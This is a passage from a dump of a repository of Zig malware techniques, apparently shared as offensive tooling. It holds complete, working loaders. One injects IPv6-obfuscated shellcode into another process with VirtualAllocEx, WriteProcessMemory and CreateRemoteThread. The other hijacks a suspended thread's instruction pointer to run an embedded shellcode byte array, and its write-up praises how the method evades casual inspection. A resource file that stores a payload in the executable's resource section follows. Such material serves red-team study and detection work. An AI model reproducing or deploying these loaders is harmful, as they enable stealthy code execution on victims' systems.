const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const LPCWSTR = [*:0]const u16;
const SIZE_T = usize;
const PVOID = *anyopaque;

// Process access rights
const PROCESS_ALL_ACCESS = 0x001F0FFF;

// Memory allocation constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;

// Snapshot constants
const TH32CS_SNAPPROCESS = 0x00000002;
const INVALID_HANDLE_VALUE = @as(windows.HANDLE, @ptrFromInt(std.math.maxInt(usize)));

// Process entry structure
const PROCESSENTRY32W = extern struct {
    dwSize: DWORD,
    cntUsage: DWORD,
    th32ProcessID: DWORD,
    th32DefaultHeapID: usize,
    th32ModuleID: DWORD,
    cntThreads: DWORD,
    th32ParentProcessID: DWORD,
    pcPriClassBase: i32,
    dwFlags: DWORD,
    szExeFile: [260]u16,
};

// Windows API function declarations
extern "kernel32" fn CreateToolhelp32Snapshot(dwFlags: DWORD, th32ProcessID: DWORD) callconv(.C) HANDLE;
extern "kernel32" fn Process32FirstW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn Process32NextW(hSnapshot: HANDLE, lppe: *PROCESSENTRY32W) callconv(.C) BOOL;
extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn VirtualAllocEx(HANDLE, ?LPVOID, SIZE_T, DWORD, DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL;
extern "kernel32" fn VirtualProtectEx(HANDLE, LPVOID, SIZE_T, DWORD, *DWORD) callconv(.C) BOOL;
extern "kernel32" fn CreateRemoteThread(HANDLE, ?*anyopaque, SIZE_T, *const fn (?LPVOID) callconv(.C) DWORD, ?LPVOID, DWORD, ?*DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn CloseHandle(HANDLE) callconv(.C) BOOL;
extern "kernel32" fn GetLastError() callconv(.C) DWORD;

// Helper function to wait for Enter key
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

// Convert UTF-8 string to wide string
fn convertToWideString(allocator: std.mem.Allocator, utf8_str: []const u8) ![:0]u16 {
    return try std.unicode.utf8ToUtf16LeAllocZ(allocator, utf8_str);
}

/// Compare wide strings (case-insensitive)
/// Similar to `wcscmp` in C
fn compareWideStringsIgnoreCase(str1: []const u16, str2: []const u16) bool {
    if (str1.len != str2.len) return false;

    for (str1, str2) |c1, c2| {
        var lower_c1 = c1;
        var lower_c2 = c2;

        if (c1 >= 'A' and c1 <= 'Z') lower_c1 = c1 + ('a' - 'A');
        if (c2 >= 'A' and c2 <= 'Z') lower_c2 = c2 + ('a' - 'A');

        if (lower_c1 != lower_c2) return false;
    }
    return true;
}

fn ipv6Deobfuscation(ipv6_array: []const []const u8, allocator: std.mem.Allocator) ![]u8 {
    var buffer = try allocator.alloc(u8, ipv6_array.len * 16);
    var offset: usize = 0;

    for (ipv6_array) |ip| {
        const addr = net.Address.parseIp6(ip, 0) catch return error.InvalidIpFormat;
        const ip_bytes = @as([16]u8, @bitCast(addr.in6.sa.addr));
        @memcpy(buffer[offset .. offset + 16], &ip_bytes);
        offset += 16;
    }

    return buffer;
}

// Get remote process handle by name
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } {
    const wide_process_name = try convertToWideString(allocator, process_name);
    defer allocator.free(wide_process_name);

    print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});

    const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
        return error.SnapshotFailed;
    }
    defer _ = CloseHandle(snapshot);

    var process_entry = PROCESSENTRY32W{
        .dwSize = @sizeOf(PROCESSENTRY32W),
        .cntUsage = 0,
        .th32ProcessID = 0,
        .th32DefaultHeapID = 0,
        .th32ModuleID = 0,
        .cntThreads = 0,
        .th32ParentProcessID = 0,
        .pcPriClassBase = 0,
        .dwFlags = 0,
        .szExeFile = std.mem.zeroes([260]u16),
    };

    if (Process32FirstW(snapshot, &process_entry) == 0) {
        print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
        return error.ProcessEnumFailed;
    }

    while (true) {
        var exe_name_len: usize = 0;
        while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
            exe_name_len += 1;
        }

        const exe_name = process_entry.szExeFile[0..exe_name_len];

        if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
            print("[+] DONE \n", .{});
            print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});

            const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse {
                print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()});
                return error.OpenProcessFailed;
            };

            return .{ .pid = process_entry.th32ProcessID, .handle = handle };
        }

        if (Process32NextW(snapshot, &process_entry) == 0) {
            break;
        }
    }

    print("[!] Process is Not Found \n", .{});
    return error.ProcessNotFound;
}

// Inject shellcode to remote process
fn injectShellcodeToRemoteProcess(process_handle: HANDLE, shellcode: []const u8) !void {
    const shellcode_address = VirtualAllocEx(
        process_handle,
        null,
        shellcode.len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    ) orelse {
        print("[!] VirtualAllocEx Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualAllocExFailed;
    };

    print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)});

    print("[#] Press <Enter> To Write Payload ... ", .{});
    waitForEnter();

    var bytes_written: SIZE_T = 0;
    const write_result = WriteProcessMemory(
        process_handle,
        shellcode_address,
        shellcode.ptr,
        shellcode.len,
        &bytes_written,
    );

    if (write_result == 0 or bytes_written != shellcode.len) {
        print("[!] WriteProcessMemory Failed With Error : {d} \n", .{GetLastError()});
        return error.WriteProcessMemoryFailed;
    }

    print("[i] Successfully Written {d} Bytes\n", .{bytes_written});

    // Clear the shellcode from local memory
    @memset(@constCast(shellcode.ptr)[0..shellcode.len], 0);

    var old_protection: DWORD = 0;
    if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
        print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualProtectExFailed;
    }

    print("[#] Press <Enter> To Run ... ", .{});
    waitForEnter();
    print("[i] Executing Payload ... ", .{});

    const thread_handle = CreateRemoteThread(
        process_handle,
        null,
        0,
        @ptrCast(shellcode_address),
        null,
        0,
        null,
    ) orelse {
        print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()});
        return error.CreateRemoteThreadFailed;
    };

    print("[+] DONE !\n", .{});

    _ = CloseHandle(thread_handle);
}

pub fn main() !void {
    var gpa = std.heap.GeneralPurposeAllocator(.{}){};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    const args = try std.process.argsAlloc(allocator);
    defer std.process.argsFree(allocator, args);

    if (args.len < 2) {
        print("[!] Usage : \"{s}\" <Process Name> \n", .{args[0]});
        std.process.exit(1);
    }

    const process_name = args[1];

    const process_info = getRemoteProcessHandle(allocator, process_name) catch |err| switch (err) {
        error.ProcessNotFound => {
            print("[!] Process is Not Found \n", .{});
            std.process.exit(1);
        },
        else => {
            print("[!] Failed to get process handle\n", .{});
            std.process.exit(1);
        },
    };
    defer _ = CloseHandle(process_info.handle);

    print("[#] Press <Enter> To Decrypt ... ", .{});
    waitForEnter();
    print("[i] Decrypting ...", .{});

    const shellcode = ipv6Deobfuscation(&IPV6_ARRAY, allocator) catch {
        print("[!] IPv6 deobfuscation failed\n", .{});
        std.process.exit(1);
    };
    defer allocator.free(shellcode);

    print("[+] DONE !\n", .{});
    print("[i] Deobfuscated Payload At : 0x{X} Of Size : {d} \n", .{ @intFromPtr(shellcode.ptr), shellcode.len });

    injectShellcodeToRemoteProcess(process_info.handle, shellcode) catch |err| {
        print("[!] Shellcode injection failed: {}\n", .{err});
        std.process.exit(1);
    };

    print("[#] Press <Enter> To Quit ... ", .{});
    waitForEnter();
}

```

## /src/Malware-Techniques/Thread-Hijacking/local_thread_creation.md

# Local Thread Creation

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Thread-Hijacking/local_thread_creation/)

Local thread creation is a stealthy way to run shellcode within the context of
the current process. Instead of launching an entirely new program, the malware
spawns a thread in a suspended state and alters its execution context so the
instruction pointer jumps to the payload. When resumed, the thread appears to be
part of the normal application yet secretly executes arbitrary code. This
approach avoids creating new processes and helps the malicious activity blend in
with legitimate threads, making casual inspection much harder.

## Code Walkthrough

```zig title="main.zig"
// NOTE:
// We run our payload in a hijacked thread instead of the one we created.
// This is because the entry of the thread we created must pointed to the
// base address of our payload in memory, while the hijacked one will pointed
// to the normal process function, so it will let the thread seems harmless,
// which is a good news for us.

const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const PVOID = windows.PVOID;
const PBYTE = [*]u8;
const SIZE_T = windows.SIZE_T;
const WINAPI = windows.WINAPI;
const LPTHREAD_START_ROUTINE = *const fn (?*anyopaque) callconv(WINAPI) DWORD;

// Memory protection constants
const PAGE_READWRITE: DWORD = windows.PAGE_READWRITE;
const PAGE_EXECUTE_READWRITE: DWORD = windows.PAGE_EXECUTE_READWRITE;
const MEM_COMMIT: DWORD = windows.MEM_COMMIT;
const MEM_RESERVE: DWORD = windows.MEM_RESERVE;

// Thread creation constants
const CREATE_SUSPENDED: DWORD = 0x00000004;
const INFINITE: DWORD = 0xFFFFFFFF;

// Context flags
const CONTEXT_CONTROL: DWORD = 0x00000001;
const CONTEXT_ALL: DWORD = 0x00100000 | 0x00000001 | 0x00000002 | 0x00000004 | 0x00000008 | 0x00000010;

// Thread context structure for x64
const CONTEXT = extern struct {
    // Register parameter home addresses (reserved for debugger use)
    P1Home: u64,
    P2Home: u64,
    P3Home: u64,
    P4Home: u64,
    P5Home: u64,
    P6Home: u64,

    // Control flags
    ContextFlags: DWORD,
    MxCsr: DWORD,

    // Segment registers and processor flags
    SegCs: u16,
    SegDs: u16,
    SegEs: u16,
    SegFs: u16,
    SegGs: u16,
    SegSs: u16,
    EFlags: DWORD,

    // Debug registers
    Dr0: u64,
    Dr1: u64,
    Dr2: u64,
    Dr3: u64,
    Dr6: u64,
    Dr7: u64,

    // Integer registers
    Rax: u64,
    Rcx: u64,
    Rdx: u64,
    Rbx: u64,
    Rsp: u64,
    Rbp: u64,
    Rsi: u64,
    Rdi: u64,
    R8: u64,
    R9: u64,
    R10: u64,
    R11: u64,
    R12: u64,
    R13: u64,
    R14: u64,
    R15: u64,

    // Program counter
    Rip: u64,

    // Floating point state
    FltSave: [512]u8, // XMM_SAVE_AREA32

    // Vector registers
    VectorRegister: [26][16]u8,
    VectorControl: u64,

    // Special debug control registers
    DebugControl: u64,
    LastBranchToRip: u64,
    LastBranchFromRip: u64,
    LastExceptionToRip: u64,
    LastExceptionFromRip: u64,
};

// External function declarations
extern "kernel32" fn CreateThread(
    lpThreadAttributes: ?*anyopaque,
    dwStackSize: SIZE_T,
    lpStartAddress: LPTHREAD_START_ROUTINE,
    lpParameter: ?*anyopaque,
    dwCreationFlags: DWORD,
    lpThreadId: ?*DWORD,
) callconv(WINAPI) ?HANDLE;

extern "kernel32" fn VirtualAlloc(
    lpAddress: ?*anyopaque,
    dwSize: SIZE_T,
    flAllocationType: DWORD,
    flProtect: DWORD,
) callconv(WINAPI) ?*anyopaque;

extern "kernel32" fn VirtualProtect(
    lpAddress: *anyopaque,
    dwSize: SIZE_T,
    flNewProtect: DWORD,
    lpflOldProtect: *DWORD,
) callconv(WINAPI) BOOL;

extern "kernel32" fn GetThreadContext(
    hThread: HANDLE,
    lpContext: *CONTEXT,
) callconv(WINAPI) BOOL;

extern "kernel32" fn SetThreadContext(
    hThread: HANDLE,
    lpContext: *const CONTEXT,
) callconv(WINAPI) BOOL;

extern "kernel32" fn ResumeThread(hThread: HANDLE) callconv(WINAPI) DWORD;
extern "kernel32" fn WaitForSingleObject(hHandle: HANDLE, dwMilliseconds: DWORD) callconv(WINAPI) DWORD;
extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD;

const calc_payload = [_]u8{ 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 };

// Dummy function to use for the sacrificial thread
fn DummyFunction(lpParameter: ?*anyopaque) callconv(WINAPI) DWORD {
    _ = lpParameter; // Suppress unused parameter warning

    // Stupid code
    const seed = @as(u32, @intCast(std.time.timestamp()));
    var prng = std.Random.DefaultPrng.init(seed);
    const j = prng.random().int(i32);
    const i = j *% j; // Use wrapping multiplication to avoid overflow
    _ = i; // Suppress unused variable warning

    return 0;
}

// Thread hijacking function
fn runViaClassicThreadHijacking(hThread: HANDLE, pPayload: []const u8) bool {
    var pAddress: ?*anyopaque = null;
    var dwOldProtection: DWORD = 0;

    // .ContextFlags can be CONTEXT_CONTROL or CONTEXT_ALL as well
    var ThreadCtx = std.mem.zeroes(CONTEXT);
    ThreadCtx.ContextFlags = CONTEXT_CONTROL;

    // NOTE:
    // In Zig, there's no implicit initialization like C, so we need
    // to manually set all other fields to be 0. While in C, the uninitialized
    // fields will be automatically set to 0.
    //
    // NOTE:
    // Reference C99 Standard 6.7.8.21:
    // If there are fewer initializers in a brace-enclosed list than there are
    // elements or members of an aggregate, or fewer characters in a string
    // literal used to initialize an array of known size than there are elements
    // in the array, the remainder of the aggregate shall be initialized implicitly
    // the same as objects that have static storage duration.
    //
    // NOTE: So the ThreadCtx above is equals to this:
    // var ThreadCtx = CONTEXT{
    //     .ContextFlags = CONTEXT_CONTROL,
    //     .P1Home = 0,
    //     .P2Home = 0,
    //     .P3Home = 0,
    //     .P4Home = 0,
    //     .P5Home = 0,
    //     .P6Home = 0,
    //     .MxCsr = 0,
    //     .SegCs = 0,
    //     .SegDs = 0,
    //     .SegEs = 0,
    //     .SegFs = 0,
    //     .SegGs = 0,
    //     .SegSs = 0,
    //     .EFlags = 0,
    //     .Dr0 = 0,
    //     .Dr1 = 0,
    //     .Dr2 = 0,
    //     .Dr3 = 0,
    //     .Dr6 = 0,
    //     .Dr7 = 0,
    //     .Rax = 0,
    //     .Rcx = 0,
    //     .Rdx = 0,
    //     .Rbx = 0,
    //     .Rsp = 0,
    //     .Rbp = 0,
    //     .Rsi = 0,
    //     .Rdi = 0,
    //     .R8 = 0,
    //     .R9 = 0,
    //     .R10 = 0,
    //     .R11 = 0,
    //     .R12 = 0,
    //     .R13 = 0,
    //     .R14 = 0,
    //     .R15 = 0,
    //     .Rip = 0,
    //     .FltSave = std.mem.zeroes([512]u8),
    //     .VectorRegister = std.mem.zeroes([26][16]u8),
    //     .VectorControl = 0,
    //     .DebugControl = 0,
    //     .LastBranchToRip = 0,
    //     .LastBranchFromRip = 0,
    //     .LastExceptionToRip = 0,
    //     .LastExceptionFromRip = 0,
    // };

    // Allocating memory for the payload
    const payload_size_dword: DWORD = @intCast(pPayload.len); // This is for adapting Win API param size
    pAddress = VirtualAlloc(null, payload_size_dword, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == null) {
        print("[!] VirtualAlloc Failed With Error : {d}\n", .{GetLastError()});
        return false;
    }

    // Copying the payload to the allocated memory
    const dest = @as([*]u8, @ptrCast(pAddress.?))[0..pPayload.len];
    @memcpy(dest, pPayload);

    // Changing the memory protection
    if (VirtualProtect(pAddress.?, payload_size_dword, PAGE_EXECUTE_READWRITE, &dwOldProtection) == 0) {
        print("[!] VirtualProtect Failed With Error : {d}\n", .{GetLastError()});
        return false;
    }

    // Getting the original thread context
    if (GetThreadContext(hThread, &ThreadCtx) == 0) {
        print("[!] GetThreadContext Failed With Error : {d}\n", .{GetLastError()});
        return false;
    }

    // Updating the next instruction pointer to be equal to the payload's address
    ThreadCtx.Rip = @intFromPtr(pAddress.?);

    // in case of a x64 payload injection : we change the value of `Rip`
    // in case of a x32 payload injection : we change the value of `Eip`

    // Setting the new updated thread context
    if (SetThreadContext(hThread, &ThreadCtx) == 0) {
        print("[!] SetThreadContext Failed With Error : {d}\n", .{GetLastError()});
        return false;
    }

    return true;
}

// Wait for user input (equivalent to getchar())
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

// Main function (equivalent to C main)
pub fn main() !void {
    var hThread: ?HANDLE = null;
    var dwThreadId: DWORD = 0;

    // Creating sacrificial thread in suspended state
    //
    // NOTE:
    // We can also use SuspendThread to suspend a thread.
    // To lean more: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread
    hThread = CreateThread(null, 0, &DummyFunction, null, CREATE_SUSPENDED, &dwThreadId);
    if (hThread == null) {
        print("[!] CreateThread Failed With Error : {d}\n", .{GetLastError()});
        return;
    }

    print("[i] Hijacking Thread Of Id : {d}\n", .{dwThreadId});

    // Hijacking the sacrificial thread created
    if (!runViaClassicThreadHijacking(hThread.?, &calc_payload)) {
        _ = CloseHandle(hThread.?);
        return;
    }
    print("[+] DONE\n", .{});
    print("[#] Press <Enter> To Run The Payload ...", .{});
    waitForEnter();

    // Resuming suspended thread, so that it runs our shellcode
    _ = ResumeThread(hThread.?);

    // Wait for the thread to complete
    _ = WaitForSingleObject(hThread.?, INFINITE);

    print("[#] Press <Enter> To Quit...", .{});
    waitForEnter();

    // Cleanup
    _ = CloseHandle(hThread.?);
}
```


## /src/Malware-Techniques/Thread-Hijacking/local_thread_creation/build.zig

```zig path="/src/Malware-Techniques/Thread-Hijacking/local_thread_creation/build.zig" 
const std = @import("std");

// Although this function looks imperative, note that its job is to
// declaratively construct a build graph that will be executed by an external
// runner.
pub fn build(b: *std.Build) void {
    // Standard target options allows the person running `zig build` to choose
    // what target to build for. Here we do not override the defaults, which
    // means any target is allowed, and the default is native. Other options
    // for restricting supported target set are available.
    const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });

    // Standard optimization options allow the person running `zig build` to select
    // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
    // set a preferred release mode, allowing the user to decide how to optimize.
    const optimize = b.standardOptimizeOption(.{});

    // We will also create a module for our other entry point, 'main.zig'.
    const exe_mod = b.createModule(.{
        // `root_source_file` is the Zig "entry point" of the module. If a module
        // only contains e.g. external object files, you can make this `null`.
        // In this case the main source file is merely a path, however, in more
        // complicated build scripts, this could be a generated file.
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    // This creates another `std.Build.Step.Compile`, but this one builds an executable
    // rather than a static library.
    const exe = b.addExecutable(.{
        .name = "local_thread_creation",
        .root_module = exe_mod,
    });

    // This declares intent for the executable to be installed into the
    // standard location when the user invokes the "install" step (the default
    // step when running `zig build`).
    b.installArtifact(exe);

    // This *creates* a Run step in the build graph, to be executed when another
    // step is evaluated that depends on it. The next line below will establish
    // such a dependency.
    const run_cmd = b.addRunArtifact(exe);

    // By making the run step depend on the install step, it will be run from the
    // installation directory rather than directly from within the cache directory.
    // This is not necessary, however, if the application depends on other installed
    // files, this ensures they will be present and in the expected location.
    run_cmd.step.dependOn(b.getInstallStep());

    // This allows the user to pass arguments to the application in the build
    // command itself, like this: `zig build run -- arg1 arg2 etc`
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }

    // This creates a build step. It will be visible in the `zig build --help` menu,
    // and can be selected like this: `zig build run`
    // This will evaluate the `run` step rather than the default, which is "install".
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_unit_tests = b.addTest(.{
        .root_module = exe_mod,
    });

    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);

    // Similar to creating the run step earlier, this exposes a `test` step to
    // the `zig build --help` menu, providing a way for the user to request
    // running the unit tests.
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_unit_tests.step);
}

```

## /src/Malware-Techniques/Thread-Hijacking/local_thread_enumeration/build.zig

```zig path="/src/Malware-Techniques/Thread-Hijacking/local_thread_enumeration/build.zig" 
const std = @import("std");

// Although this function looks imperative, note that its job is to
// declaratively construct a build graph that will be executed by an external
// runner.
pub fn build(b: *std.Build) void {
    // Standard target options allows the person running `zig build` to choose
    // what target to build for. Here we do not override the defaults, which
    // means any target is allowed, and the default is native. Other options
    // for restricting supported target set are available.
    const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });

    // Standard optimization options allow the person running `zig build` to select
    // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
    // set a preferred release mode, allowing the user to decide how to optimize.
    const optimize = b.standardOptimizeOption(.{});

    // We will also create a module for our other entry point, 'main.zig'.
    const exe_mod = b.createModule(.{
        // `root_source_file` is the Zig "entry point" of the module. If a module
        // only contains e.g. external object files, you can make this `null`.
        // In this case the main source file is merely a path, however, in more
        // complicated build scripts, this could be a generated file.
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });

    // This creates another `std.Build.Step.Compile`, but this one builds an executable
    // rather than a static library.
    const exe = b.addExecutable(.{
        .name = "local_thread_enumeration",
        .root_module = exe_mod,
    });

    // This declares intent for the executable to be installed into the
    // standard location when the user invokes the "install" step (the default
    // step when running `zig build`).
    b.installArtifact(exe);

    // This *creates* a Run step in the build graph, to be executed when another
    // step is evaluated that depends on it. The next line below will establish
    // such a dependency.
    const run_cmd = b.addRunArtifact(exe);

    // By making the run step depend on the install step, it will be run from the
    // installation directory rather than directly from within the cache directory.
    // This is not necessary, however, if the application depends on other installed
    // files, this ensures they will be present and in the expected location.
    run_cmd.step.dependOn(b.getInstallStep());

    // This allows the user to pass arguments to the application in the build
    // command itself, like this: `zig build run -- arg1 arg2 etc`
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }

    // This creates a build step. It will be visible in the `zig build --help` menu,
    // and can be selected like this: `zig build run`
    // This will evaluate the `run` step rather than the default, which is "install".
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_unit_tests = b.addTest(.{
        .root_module = exe_mod,
    });

    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);

    // Similar to creating the run step earlier, this exposes a `test` step to
    // the `zig build --help` menu, providing a way for the user to request
    // running the unit tests.
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_unit_tests.step);
}

```

## /src/Payload-Placement/dot_rsrc_section/resource.rc

```rc path="/src/Payload-Placement/dot_rsrc_section/resource.rc" 
#define IDR_RCDATA1 101

IDR_RCDATA1 RCDATA "calc.ico"

```

## /src/Payload-Placement/dot_rsrc_section/src/calc.ico

Binary file available at https://raw.githubusercontent.com/CX330Blake/Black-Hat-Zig/refs/heads/main/src/Payload-Placement/dot_rsrc_section/src/calc.ico


The content has been capped at 50000 tokens. The user could consider applying other filters to refine the result. The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.
Copied!